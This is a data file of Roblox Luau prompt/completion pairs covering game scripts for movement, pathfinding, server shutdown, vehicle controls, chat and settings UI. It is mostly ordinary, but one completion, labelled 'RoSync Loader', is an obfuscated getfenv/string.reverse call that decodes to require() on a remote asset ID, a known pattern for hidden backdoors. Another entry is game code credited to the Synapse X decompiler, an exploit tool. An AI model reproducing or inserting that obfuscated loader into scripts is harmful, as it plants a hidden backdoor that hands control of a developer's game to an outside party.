prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- Function to handle player character added
local function onCharacterAdded(character) local humanoid = character:WaitForChild("Humanoid") local previousPosition = humanoid.RootPart.Position local isFalling = false -- Listen for character state changes humanoid.StateChanged:Connect(function(oldState, newState) if newState == Enum.HumanoidStateType.Freefall then isFalling = true previousPosition = humanoid.RootPart.Position elseif oldState == Enum.HumanoidStateType.Freefall and newState ~= Enum.HumanoidStateType.Freefall then if isFalling then isFalling = false handlePlayerFalling(game.Players:GetPlayerFromCharacter(character), humanoid.RootPart.Position, previousPosition) end end end) end
--[=[ Returns a Service object which is a reflection of the remote objects within the Client table of the given service. Throws an error if the service is not found. If a service's Client table contains RemoteSignals and/or RemoteProperties, these values are reflected as [ClientRemoteSignals](https://sleitnick.github.io/RbxUtil/api/ClientRemoteSignal) and [ClientRemoteProperties](https://sleitnick.github.io/RbxUtil/api/ClientRemoteProperty). ```lua -- Server-side service creation: local MyService = Knit.CreateService { Name = "MyService"; Client = { MySignal = Knit.CreateSignal(); MyProperty = Knit.CreateProperty("Hello"); }; } function MyService:AddOne(player, number) return number + 1 end ------------------------------------------------- -- Client-side service reflection: local MyService = Knit.GetService("MyService") -- Call a method: local num = MyService:AddOne(5) --> 6 -- Fire a signal to the server: MyService.MySignal:Fire("Hello") -- Listen for signals from the server: MyService.MySignal:Connect(function(message) print(message) end) -- Observe the initial value and changes to properties: MyService.MyProperty:Observe(function(value) print(value) end) ``` :::caution Services are only exposed to the client if the service has remote-based content in the Client table. If not, the service will not be visible to the client. `KnitClient.GetService` will only work on services that expose remote-based content on their Client tables. ::: ]=]
function KnitClient.GetService(serviceName: string): Service local service = services[serviceName] if service then return service end assert(started, "Cannot call GetService until Knit has been started") assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName)) return BuildService(serviceName) end
--
h = script.Parent.Parent:WaitForChild("Humanoid") pathService = game:GetService("PathfindingService") targetV = script.Parent:WaitForChild("Target") function closestTargetAndPath() local humanoids = {} if targetNPCs then local function recurse(o) for _,obj in pairs(o:GetChildren()) do if obj:IsA("Model") then if obj:findFirstChild("Humanoid") and obj:findFirstChild("Torso") and obj.Humanoid ~= h and obj.Humanoid.Health > 0 and not obj:findFirstChild("ForceField") then table.insert(humanoids,obj.Humanoid) end end recurse(obj) end end recurse(workspace) else for _,v in pairs(game.Players:GetPlayers()) do if v.Character and v.Character:findFirstChild("HumanoidRootPart") and v.Character:findFirstChild("Humanoid") and v.Character.Humanoid.Health > 0 and not v:findFirstChild("ForceField") then table.insert(humanoids,v.Character.Humanoid) end end end local closest,path,dist for _,humanoid in pairs(humanoids) do local myPath = pathService:ComputeRawPathAsync(h.Torso.Position,humanoid.Torso.Position,500) if myPath.Status ~= Enum.PathStatus.FailFinishNotEmpty then -- Now that we have a successful path, we need to figure out how far we need to actually travel to reach this point. local myDist = 0 local previous = h.Torso.Position for _,point in pairs(myPath:GetPointCoordinates()) do myDist = myDist + (point-previous).magnitude previous = point end if not dist or myDist < dist then -- if true, this is the closest path so far. closest = humanoid path = myPath dist = myDist end end end return closest,path end function goToPos(loc) h:MoveTo(loc) local distance = (loc-h.Torso.Position).magnitude local start = tick() while distance > 100 do if tick()-start > distance/h.WalkSpeed then -- Something may have gone wrong. Just break. break end distance = (loc-h.Torso.Position).magnitude wait() end end while wait() do local target,path = closestTargetAndPath() local didBreak = false local targetStart if target and h.Torso then targetV.Value = target targetStart = target.Torso.Position roaming = false local previous = h.Torso.Position local points = path:GetPointCoordinates() local s = #points > 1 and 2 or 1 for i = s,#points do local point = points[i] if didBreak then break end if target and target.Torso and target.Health > 0 then if (target.Torso.Position-targetStart).magnitude < 1.5 then local pos = previous:lerp(point,.5) local moveDir = ((pos - h.Torso.Position).unit * 2) goToPos(previous:lerp(point,.5)) previous = point end else didBreak = true break end end else targetV.Value = nil end if not didBreak and targetStart then goToPos(targetStart) end end
-- Helper function for Determinant of 3x3, not in CameraUtils for performance reasons
local function Det3x3(a,b,c,d,e,f,g,h,i) return (a*(e*i-f*h)-b*(d*i-f*g)+c*(d*h-e*g)) end
--[[ SoftShutdown 1.2 Author: Merely This systesm lets you shut down servers without losing a bunch of players. When game.OnClose is called, the script teleports everyone in the server into a reserved server. When the reserved servers start up, they wait a few seconds, and then send everyone back into the main place. I added wait() in a couple of places because if you don't, everyone will spawn into their own servers with only 1 player. --]]
local TeleportService = game:GetService("TeleportService") local Players = game:GetService("Players") if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then -- this is a reserved server without a VIP server owner local m = Instance.new("Message") m.Text = "This is a temporary lobby. Teleporting back in a moment." m.Parent = workspace local waitTime = 5 Players.PlayerAdded:connect(function(player) wait(waitTime) waitTime = waitTime / 2 TeleportService:Teleport(game.PlaceId, player) end) for _,player in pairs(Players:GetPlayers()) do TeleportService:Teleport(game.PlaceId, player) wait(waitTime) waitTime = waitTime / 2 end else game:BindToClose(function() if (#Players:GetPlayers() == 0) then return end if (game.JobId == "") then -- Offline return end local m = Instance.new("Message") m.Text = "Rebooting servers for update. Please wait" m.Parent = workspace wait(2) local reservedServerCode = TeleportService:ReserveServer(game.PlaceId) for _,player in pairs(Players:GetPlayers()) do TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player }) end Players.PlayerAdded:connect(function(player) TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player }) end) while (#Players:GetPlayers() > 0) do wait(1) end -- done end) end
-------- CONFIG -- ENABLERS (do not touch yet)
local Popups_Enabled = true -- Enables popups. (refer to "Instructions" for installation) local Sequential_Indicators = false -- Enables sequential indicators. (refer to "Instructions" for installation) local Sequential_Segments = 3 -- How many segments your indicators use. (don't use if Sequential_Indicators is false) local Trunk_Lights = false -- Enables rear, brake, and reverse lights on trunk. (they will still work inside of the main model) local Plate_Lights = false -- Enables license plate lights. local Interior_Lights = false -- Enables interior lights. (Not Working Yet) local Door_Functionality = false -- (USE ONLY IF YOU HAVE OPENING DOORS, including trunk, any kind of door in misc **trunk no working yet) local Mirror_Indicators = false --Enables indicators on mirrors. (Not Working yet) local Dashboard_Indicators = false -- Enables dashboard indicators. (refer to "Instrucitons" for setup) (Not Working Yet)
--Set up equipped and unequipped event.
Tool.Equipped:Connect(function(NewMouse) if not Equipped then Equipped = true CurrentMouse = NewMouse UpdateIcon() --Create the local equip sound. LocalEquipSound = EquipSound:Clone() LocalEquipSound.Parent = Handle LocalEquipSound:Play() EquipSound.Volume = 0 EquipSound:Stop() --Create the local reload sound. LocalReloadSound = ReloadSound:Clone() LocalReloadSound.Parent = Handle ReloadSound.Volume = 0 ReloadSound:Stop() end end) Tool.Unequipped:Connect(function() if Equipped then Equipped = false CurrentHandRocket = nil if CurrentAnimation then CurrentAnimation:Stop() end --Remove the local sounds. if LocalEquipSound then LocalEquipSound:Stop() LocalEquipSound:Destroy() EquipSound.Volume = EquipVolume end if LocalReloadSound then LocalReloadSound:Stop() LocalReloadSound:Destroy() ReloadSound.Volume = ReloadVolume end end end) Tool:GetPropertyChangedSignal("Enabled"):Connect(UpdateIcon)
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 240 , spInc = 20 , -- Increment between labelled notches }, }
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods function methods:AddChannel(channelName, autoJoin) if (self.ChatChannels[channelName:lower()]) then error(string.format("Channel %q alrady exists.", channelName)) end local function DefaultChannelCommands(fromSpeaker, message) if (message:lower() == "/leave") then local channel = self:GetChannel(channelName) local speaker = self:GetSpeaker(fromSpeaker) if (channel and speaker) then if (channel.Leavable) then speaker:LeaveChannel(channelName) local msg = ChatLocalization:FormatMessageToSend( "GameChat_ChatService_YouHaveLeftChannel", string.format("You have left channel '%s'", channelName), "RBX_NAME", channelName) speaker:SendSystemMessage(msg, "System") else speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("GameChat_ChatService_CannotLeaveChannel","You cannot leave this channel."), channelName) end end return true end return false end local channel = ChatChannel.new(self, channelName) self.ChatChannels[channelName:lower()] = channel channel:RegisterProcessCommandsFunction("default_commands", DefaultChannelCommands, ChatConstants.HighPriority) local success, err = pcall(function() self.eChannelAdded:Fire(channelName) end) if not success and err then print("Error addding channel: " ..err) end if autoJoin ~= nil then channel.AutoJoin = autoJoin if autoJoin then for _, speaker in pairs(self.Speakers) do speaker:JoinChannel(channelName) end end end return channel end function methods:RemoveChannel(channelName) if (self.ChatChannels[channelName:lower()]) then local n = self.ChatChannels[channelName:lower()].Name self.ChatChannels[channelName:lower()]:InternalDestroy() self.ChatChannels[channelName:lower()] = nil local success, err = pcall(function() self.eChannelRemoved:Fire(n) end) if not success and err then print("Error removing channel: " ..err) end else warn(string.format("Channel %q does not exist.", channelName)) end end function methods:GetChannel(channelName) return self.ChatChannels[channelName:lower()] end function methods:AddSpeaker(speakerName) if (self.Speakers[speakerName:lower()]) then error("Speaker \"" .. speakerName .. "\" already exists!") end local speaker = Speaker.new(self, speakerName) self.Speakers[speakerName:lower()] = speaker local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end) if not success and err then print("Error adding speaker: " ..err) end return speaker end function methods:InternalUnmuteSpeaker(speakerName) for channelName, channel in pairs(self.ChatChannels) do if channel:IsSpeakerMuted(speakerName) then channel:UnmuteSpeaker(speakerName) end end end function methods:RemoveSpeaker(speakerName) if (self.Speakers[speakerName:lower()]) then local n = self.Speakers[speakerName:lower()].Name self:InternalUnmuteSpeaker(n) self.Speakers[speakerName:lower()]:InternalDestroy() self.Speakers[speakerName:lower()] = nil local success, err = pcall(function() self.eSpeakerRemoved:Fire(n) end) if not success and err then print("Error removing speaker: " ..err) end else warn("Speaker \"" .. speakerName .. "\" does not exist!") end end function methods:GetSpeaker(speakerName) return self.Speakers[speakerName:lower()] end function methods:GetSpeakerByUserOrDisplayName(speakerName) local speakerByUserName = self.Speakers[speakerName:lower()] if speakerByUserName then return speakerByUserName end for _, potentialSpeaker in pairs(self.Speakers) do local player = potentialSpeaker:GetPlayer() if player and player.DisplayName:lower() == speakerName:lower() then return potentialSpeaker end end end function methods:GetChannelList() local list = {} for i, channel in pairs(self.ChatChannels) do if (not channel.Private) then table.insert(list, channel.Name) end end return list end function methods:GetAutoJoinChannelList() local list = {} for i, channel in pairs(self.ChatChannels) do if channel.AutoJoin then table.insert(list, channel) end end return list end function methods:GetSpeakerList() local list = {} for i, speaker in pairs(self.Speakers) do table.insert(list, speaker.Name) end return list end function methods:SendGlobalSystemMessage(message) for i, speaker in pairs(self.Speakers) do speaker:SendSystemMessage(message, nil) end end function methods:RegisterFilterMessageFunction(funcId, func, priority) if self.FilterMessageFunctions:HasFunction(funcId) then error(string.format("FilterMessageFunction '%s' already exists", funcId)) end self.FilterMessageFunctions:AddFunction(funcId, func, priority) end function methods:FilterMessageFunctionExists(funcId) return self.FilterMessageFunctions:HasFunction(funcId) end function methods:UnregisterFilterMessageFunction(funcId) if not self.FilterMessageFunctions:HasFunction(funcId) then error(string.format("FilterMessageFunction '%s' does not exists", funcId)) end self.FilterMessageFunctions:RemoveFunction(funcId) end function methods:RegisterProcessCommandsFunction(funcId, func, priority) if self.ProcessCommandsFunctions:HasFunction(funcId) then error(string.format("ProcessCommandsFunction '%s' already exists", funcId)) end self.ProcessCommandsFunctions:AddFunction(funcId, func, priority) end function methods:ProcessCommandsFunctionExists(funcId) return self.ProcessCommandsFunctions:HasFunction(funcId) end function methods:UnregisterProcessCommandsFunction(funcId) if not self.ProcessCommandsFunctions:HasFunction(funcId) then error(string.format("ProcessCommandsFunction '%s' does not exist", funcId)) end self.ProcessCommandsFunctions:RemoveFunction(funcId) end local LastFilterNoficationTime = 0 local LastFilterIssueTime = 0 local FilterIssueCount = 0 function methods:InternalNotifyFilterIssue() if (tick() - LastFilterIssueTime) > FILTER_THRESHOLD_TIME then FilterIssueCount = 0 end FilterIssueCount = FilterIssueCount + 1 LastFilterIssueTime = tick() if FilterIssueCount >= FILTER_NOTIFCATION_THRESHOLD then if (tick() - LastFilterNoficationTime) > FILTER_NOTIFCATION_INTERVAL then LastFilterNoficationTime = tick() local systemChannel = self:GetChannel("System") if systemChannel then systemChannel:SendSystemMessage( ChatLocalization:FormatMessageToSend( "GameChat_ChatService_ChatFilterIssues", "The chat filter is currently experiencing issues and messages may be slow to appear." ), errorExtraData ) end end end end local StudioMessageFilteredCache = {}
--- Creates callbacks and sets up initial state.
function ScopeHUD:init(props) self.Maid = Maid.new() self.LayoutRef = Roact.createRef() self.ContainerSize, self.UpdateContainerSize = Roact.createBinding(UDim2.new(0, 0, 0, 38/2)) --- Processes input, listens for hover start function self.OnInputBegin(rbx, Input, WasProcessed) if WasProcessed then return end -- Set hovering state if (Input.UserInputType.Name == 'MouseMovement') or (Input.UserInputType.Name == 'Touch') then self:setState({ IsHovering = true }) end end --- Processes input, listens for hover end function self.OnInputEnd(rbx, Input, WasProcessed) if (Input.UserInputType.Name == 'MouseMovement') or (Input.UserInputType.Name == 'Touch') then self:setState({ IsHovering = false }) end end --- Processes requests from buttons to set scope function self.SetScopeFromButton(NewScope) self.props.Core.Targeting:SetScope(NewScope) end -- Set initial state self:UpdateTargetingState() self:setState({ IsHovering = false; IsToolModeEnabled = (self.props.Core.Mode == 'Tool') }) end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; local u1 = Random.new(); function CreatePet() local v2 = v1.Save.Get(); if not v2 then return; end; local l__Pets__3 = v2.Pets; if #l__Pets__3 <= 0 then return; end; local v4 = l__Pets__3[u1:NextInteger(1, #l__Pets__3)]; local v5 = v1.Directory.Pets[v4.id]; local v6 = script.petFrame:Clone(); v6.pet.Image = v4.dm and v5.darkMatterThumbnail or (v4.g and v5.goldenThumbnail or v5.thumbnail); if v4.r then v1.GUIFX.Rainbow(v6.pet, "ImageColor3", 3); end; v6.Position = UDim2.new(-1, 0, 0, 0); v6.Parent = script.Parent; v1.Functions.FastTween(v6, { Position = UDim2.new(1, 0, 0, 0) }, { 10, "Linear" }).Completed:Connect(function() v6:Destroy(); end); coroutine.wrap(function() while true do if v6 then else break; end; if v6.Parent then else break; end; v1.Functions.FastTween(v6.pet, { Position = UDim2.new(0, 0, 0.2, 0) }, { 1, "Sine", "InOut" }).Completed:Wait(); v1.Functions.FastTween(v6.pet, { Position = UDim2.new(0, 0, 0, 0) }, { 1, "Sine", "InOut" }).Completed:Wait(); end; end)(); end; while true do CreatePet(); v1.Functions.Wait(1); end;
--//Settings
BlurAmount = 15 -- Change this to increase or decrease the blur size
--[[ Function called upon entering the state ]]
function PlayerFinished.enter(stateMachine, playerComponent) wait(3) if stateMachine.can("startSpectating") then stateMachine:startSpectating() end end
--[[ Constants ]]
-- local ZERO_VECTOR3 = Vector3.new(0,0,0) local movementKeys = { [Enum.KeyCode.W] = true; [Enum.KeyCode.A] = true; [Enum.KeyCode.S] = true; [Enum.KeyCode.D] = true; [Enum.KeyCode.Up] = true; [Enum.KeyCode.Down] = true; } local Player = Players.LocalPlayer local PlayerScripts = Player.PlayerScripts local TouchJump = nil local SHOW_PATH = true local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList local CurrentSeatPart = nil local DrivingTo = nil local XZ_VECTOR3 = Vector3.new(1,0,1) local ZERO_VECTOR3 = Vector3.new(0,0,0) local ZERO_VECTOR2 = Vector2.new(0,0) local BindableEvent_OnFailStateChanged = nil if UserInputService.TouchEnabled then
--[END]] --[[ Last synced 4/22/2021 03:59 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--//Shifting//-
if key == "j" then if carSeat.Values2.DTR.Value == true then carSeat.Values2.DTR.Value = false else carSeat.Values2.DTR.Value = true end elseif key == "g" then if carSeat.Values2.Lights.Value == true then carSeat.Values2.Lights.Value = false else carSeat.Values2.Lights.Value = true end elseif key == "-" then if carSeat.Values2.Emblems.Value == true then carSeat.Values2.Emblems.Value = false else carSeat.Values2.Emblems.Value = true end elseif key == "m" then for index, child in pairs(carSeat.Body.RipEars:GetChildren()) do child:Play() end elseif key == "h" then for index, child in pairs(carSeat.Body.Horn:GetChildren()) do child:Play() end elseif key == "c" then if script.Parent.IsOn.Value == true then script.Parent.IsOn.Value = false carSeat.Values2.Lights.Value = false carSeat.Values2.DTR.Value = false carSeat.Values2.Halo.Value = false carSeat.Body.RLFRONT.R1.Light.Enabled = false carSeat.Body.RLFRONT.R2.Light.Enabled = false carSeat.Body.RLREAR.R1.Light.Enabled = false carSeat.Body.RLREAR.R2.Light.Enabled = false for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do child.Enabled = false end for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do child.Enabled = false end for index, child in pairs(carSeat.Body.ExhaustSmoke.E3:GetChildren()) do child.Enabled = false end for index, child in pairs(carSeat.Body.ExhaustSmoke.E4:GetChildren()) do child.Enabled = false end carSeat.DriveSeat.Start1:Stop() carSeat.DriveSeat.Start2:Stop() carSeat.DriveSeat.Rev:Stop() carSeat.DriveSeat.Rev2:Stop() carSeat.DriveSeat.Rev3:Stop() carSeat.DriveSeat.Idle:Stop() else carSeat.Values2.Lights.Value = true carSeat.Values2.DTR.Value = true carSeat.Values2.Halo.Value = true carSeat.Values2.Emblems.Value = true carSeat.Body.RLFRONT.R1.Light.Enabled = true carSeat.Body.RLFRONT.R2.Light.Enabled = true carSeat.Body.RLREAR.R1.Light.Enabled = true carSeat.Body.RLREAR.R2.Light.Enabled = true carSeat.DriveSeat.Start1:Play() carSeat.DriveSeat.Start2:Play() for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do child.Enabled = true for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do child.Enabled = true end end wait(5.33) script.Parent.IsOn.Value = true carSeat.DriveSeat.Idle:Play() wait(0.5) carSeat.DriveSeat.Rev:Play() carSeat.DriveSeat.Rev2:Play() carSeat.DriveSeat.Rev3:Play() for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do child.Enabled = false end for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do child.Enabled = false end for index, child in pairs(carSeat.Body.ExhaustSmoke.E3:GetChildren()) do child.Enabled = true end for index, child in pairs(carSeat.Body.ExhaustSmoke.E4:GetChildren()) do child.Enabled = true end wait(3) end end
-- This is called when settings menu is opened
function BaseCamera:ResetInputStates() self.isRightMouseDown = false self.isMiddleMouseDown = false self:OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters if UserInputService.TouchEnabled then --[[menu opening was causing serious touch issues this should disable all active touch events if they're active when menu opens.]] for inputObject in pairs(self.fingerTouches) do self.fingerTouches[inputObject] = nil end self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false self.startingDiff = nil self.pinchBeginZoom = nil self.numUnsunkTouches = 0 end end function BaseCamera:GetGamepadPan(name, state, input) if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
----------- CLASS DECLARATION --------------
local function CreateSignal() local sig = {} local mSignaler = Instance.new('BindableEvent') local mArgData = nil local mArgDataCount = nil function sig:fire(...) mArgData = {...} mArgDataCount = select('#', ...) mSignaler:Fire() end function sig:connect(f) if not f then error("connect(nil)", 2) end return mSignaler.Event:Connect(function() f(unpack(mArgData, 1, mArgDataCount)) end) end function sig:wait() mSignaler.Event:wait() if not mArgData then error("Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.") end return unpack(mArgData, 1, mArgDataCount) end return sig end local function getViewportSize() while not workspace.CurrentCamera do workspace.Changed:wait() end -- ViewportSize is initally set to 1, 1 in Camera.cpp constructor. -- Also check against 0, 0 incase this is changed in the future. while workspace.CurrentCamera.ViewportSize == Vector2.new(0,0) or workspace.CurrentCamera.ViewportSize == Vector2.new(1,1) do workspace.CurrentCamera.Changed:wait() end return workspace.CurrentCamera.ViewportSize end local function isSmallTouchScreen() local viewportSize = getViewportSize() return UserInputService.TouchEnabled and (viewportSize.Y < 500 or viewportSize.X < 700) end local function isPortrait() local viewport = getViewportSize() return viewport.Y > viewport.X end local function isTenFootInterface() return tenFootInterfaceEnabled end local function usesSelectedObject() --VR does not use selected objects (in the same way as gamepad) if VRService.VREnabled then return false end --Touch does not use selected objects unless there's also a gamepad if UserInputService.TouchEnabled and not UserInputService.GamepadEnabled then return false end --PC with gamepad, console... does use selected objects return true end local function isPosOverGui(pos, gui, debug) -- does not account for rotation local ax, ay = gui.AbsolutePosition.x, gui.AbsolutePosition.y local sx, sy = gui.AbsoluteSize.x, gui.AbsoluteSize.y local bx, by = ax+sx, ay+sy return pos.x > ax and pos.x < bx and pos.y > ay and pos.y < by end local function isPosOverGuiWithClipping(pos, gui) -- isPosOverGui, accounts for clipping and visibility, does not account for rotation if not isPosOverGui(pos, gui) then return false end local clipping = false local check = gui while true do if check == nil or (not check:IsA'GuiObject' and not check:IsA'LayerCollector') then clipping = true if check and check:IsA'CoreGui' then clipping = false end break end if check:IsA'GuiObject' and not check.Visible then clipping = true break end if check:IsA'LayerCollector' or check.ClipsDescendants then if not isPosOverGui(pos, check) then clipping = true break end end check = check.Parent end return not clipping end local function areGuisIntersecting(a, b) -- does not account for rotation local aax, aay = a.AbsolutePosition.x, a.AbsolutePosition.y local asx, asy = a.AbsoluteSize.x, a.AbsoluteSize.y local abx, aby = aax+asx, aay+asy local bax, bay = b.AbsolutePosition.x, b.AbsolutePosition.y local bsx, bsy = b.AbsoluteSize.x, b.AbsoluteSize.y local bbx, bby = bax+bsx, bay+bsy local intersectingX = aax < bbx and abx > bax local intersectingY = aay < bby and aby > bay local intersecting = intersectingX and intersectingY return intersecting end local function isGuiVisible(gui, debug) -- true if any part of the gui is visible on the screen, considers clipping, does not account for rotation local clipping = false local check = gui while true do if check == nil or not check:IsA'GuiObject' and not check:IsA'LayerCollector' then clipping = true if check and check:IsA'CoreGui' then clipping = false end break end if check:IsA'GuiObject' and not check.Visible then clipping = true break end if check:IsA'LayerCollector' or check.ClipsDescendants then if not areGuisIntersecting(check, gui) then clipping = true break end end check = check.Parent end return not clipping end local function addHoverState(button, instance, onNormalButtonState, onHoverButtonState) local function onNormalButtonStateCallback() if button.Active then onNormalButtonState(instance) end end local function onHoverButtonStateCallback() if button.Active then onHoverButtonState(instance) end end button.MouseEnter:Connect(onHoverButtonStateCallback) button.SelectionGained:Connect(onHoverButtonStateCallback) button.MouseLeave:Connect(onNormalButtonStateCallback) button.SelectionLost:Connect(onNormalButtonStateCallback) onNormalButtonState(instance) end local function addOnResizedCallback(key, callback) onResizedCallbacks[key] = callback callback(getViewportSize(), isPortrait()) end local gamepadSet = { [Enum.UserInputType.Gamepad1] = true; [Enum.UserInputType.Gamepad2] = true; [Enum.UserInputType.Gamepad3] = true; [Enum.UserInputType.Gamepad4] = true; [Enum.UserInputType.Gamepad5] = true; [Enum.UserInputType.Gamepad6] = true; [Enum.UserInputType.Gamepad7] = true; [Enum.UserInputType.Gamepad8] = true; } local function MakeDefaultButton(name, size, clickFunc, pageRef, hubRef) local SelectionOverrideObject = Util.Create'ImageLabel' { Image = "", BackgroundTransparency = 1, }; local button = Util.Create'ImageButton' { Name = name .. "Button", Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png", ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(8,6,46,44), AutoButtonColor = false, BackgroundTransparency = 1, Size = size, ZIndex = 2, SelectionImageObject = SelectionOverrideObject }; local enabled = Util.Create'BoolValue' { Name = 'Enabled', Parent = button, Value = true } if clickFunc then button.MouseButton1Click:Connect(function() clickFunc(gamepadSet[UserInputService:GetLastInputType()] or false) end) end local function isPointerInput(inputObject) return inputObject.UserInputType == Enum.UserInputType.MouseMovement or inputObject.UserInputType == Enum.UserInputType.Touch end local rowRef = nil local function setRowRef(ref) rowRef = ref end local function selectButton() local hub = hubRef if hub == nil then if pageRef then hub = pageRef.HubRef end end if (hub and hub.Active) or hub == nil then button.Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButtonSelected.png" local scrollTo = button if rowRef then scrollTo = rowRef end if hub then hub:ScrollToFrame(scrollTo) end end end local function deselectButton() button.Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png" end button.InputBegan:Connect(function(inputObject) if button.Selectable and isPointerInput(inputObject) then selectButton() end end) button.InputEnded:Connect(function(inputObject) if button.Selectable and GuiService.SelectedCoreObject ~= button and isPointerInput(inputObject) then deselectButton() end end) button.SelectionGained:Connect(function() selectButton() end) button.SelectionLost:Connect(function() deselectButton() end) local guiServiceCon = GuiService.Changed:Connect(function(prop) if prop ~= "SelectedCoreObject" then return end if not usesSelectedObject() then return end if GuiService.SelectedCoreObject == nil or GuiService.SelectedCoreObject ~= button then deselectButton() return end if button.Selectable then selectButton() end end) return button, setRowRef end local function MakeButton(name, text, size, clickFunc, pageRef, hubRef) local button, setRowRef = MakeDefaultButton(name, size, clickFunc, pageRef, hubRef) local textLabel = Util.Create'TextLabel' { Name = name .. "TextLabel", BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, -8), Position = UDim2.new(0,0,0,0), TextColor3 = Color3.fromRGB(255,255,255), TextYAlignment = Enum.TextYAlignment.Center, Font = Enum.Font.SourceSansBold, TextSize = 24, Text = text, TextScaled = true, TextWrapped = true, ZIndex = 2, Parent = button }; local constraint = Instance.new("UITextSizeConstraint",textLabel) if isSmallTouchScreen() then textLabel.TextSize = 18 elseif isTenFootInterface() then textLabel.TextSize = 36 end constraint.MaxTextSize = textLabel.TextSize return button, textLabel, setRowRef end local function MakeImageButton(name, image, size, imageSize, clickFunc, pageRef, hubRef) local button, setRowRef = MakeDefaultButton(name, size, clickFunc, pageRef, hubRef) local imageLabel = Util.Create'ImageLabel' { Name = name .. "ImageLabel", BackgroundTransparency = 1, BorderSizePixel = 0, Size = imageSize, Position = UDim2.new(0.5, 0, 0.5, 0), AnchorPoint = Vector2.new(0.5, 0.5), Image = image, ZIndex = 2, Parent = button }; return button, imageLabel, setRowRef end local function AddButtonRow(pageToAddTo, name, text, size, clickFunc, hubRef) local button, textLabel, setRowRef = MakeButton(name, text, size, clickFunc, pageToAddTo, hubRef) local row = Util.Create'Frame' { Name = name .. "Row", BackgroundTransparency = 1, Size = UDim2.new(1, 0, size.Y.Scale, size.Y.Offset), Parent = pageToAddTo.Page } button.Parent = row button.AnchorPoint = Vector2.new(1, 0) button.Position = UDim2.new(1, -20, 0, 0) return row, button, textLabel, setRowRef end local function CreateDropDown(dropDownStringTable, startPosition, settingsHub) -------------------- CONSTANTS ------------------------ local DEFAULT_DROPDOWN_TEXT = "Choose One" local SCROLLING_FRAME_PIXEL_OFFSET = 25 local SELECTION_TEXT_COLOR_NORMAL = Color3.fromRGB(178,178,178) local SELECTION_TEXT_COLOR_NORMAL_VR = Color3.fromRGB(229,229,229) local SELECTION_TEXT_COLOR_HIGHLIGHTED = Color3.fromRGB(255,255,255) -------------------- VARIABLES ------------------------ local lastSelectedCoreObject = nil -------------------- SETUP ------------------------ local this = {} this.CurrentIndex = nil local indexChangedEvent = Instance.new("BindableEvent") indexChangedEvent.Name = "IndexChanged" if type(dropDownStringTable) ~= "table" then error("CreateDropDown dropDownStringTable (first arg) is not a table", 2) return this end local indexChangedEvent = Instance.new("BindableEvent") indexChangedEvent.Name = "IndexChanged" local interactable = true local guid = HttpService:GenerateGUID(false) local dropDownButtonEnabled local lastStringTable = dropDownStringTable ----------------- GUI SETUP ------------------------ local DropDownFullscreenFrame = Util.Create'ImageButton' { Name = "DropDownFullscreenFrame", BackgroundTransparency = DROPDOWN_BG_TRANSPARENCY, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, 0), BackgroundColor3 = Color3.fromRGB(0,0,0), ZIndex = 10, Active = true, Visible = false, Selectable = false, AutoButtonColor = false, Parent = CoreGui.RobloxGui }; local function onVREnabled(prop) if prop ~= "VREnabled" then return end if VRService.VREnabled then local Panel3D = require(CoreGui.RobloxGui.Modules.VR.Panel3D) DropDownFullscreenFrame.Parent = Panel3D.Get("SettingsMenu"):GetGUI() DropDownFullscreenFrame.BackgroundTransparency = 1 else DropDownFullscreenFrame.Parent = CoreGui.RobloxGui DropDownFullscreenFrame.BackgroundTransparency = DROPDOWN_BG_TRANSPARENCY end --Force the gui to update, but only if onVREnabled is fired later on if this.UpdateDropDownList then this:UpdateDropDownList(lastStringTable) end end VRService.Changed:Connect(onVREnabled) onVREnabled("VREnabled") local DropDownSelectionFrame = Util.Create'ImageLabel' { Name = "DropDownSelectionFrame", Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png", ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(8,6,46,44), BackgroundTransparency = 1, Size = UDim2.new(0.6, 0, 0.9, 0), Position = UDim2.new(0.5, 0, 0.5, 0), AnchorPoint = Vector2.new(0.5, 0.5), ZIndex = 10, Parent = DropDownFullscreenFrame }; local DropDownScrollingFrame = Util.Create'ScrollingFrame' { Name = "DropDownScrollingFrame", BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1, -20, 1, -SCROLLING_FRAME_PIXEL_OFFSET), Position = UDim2.new(0, 10, 0, 10), ZIndex = 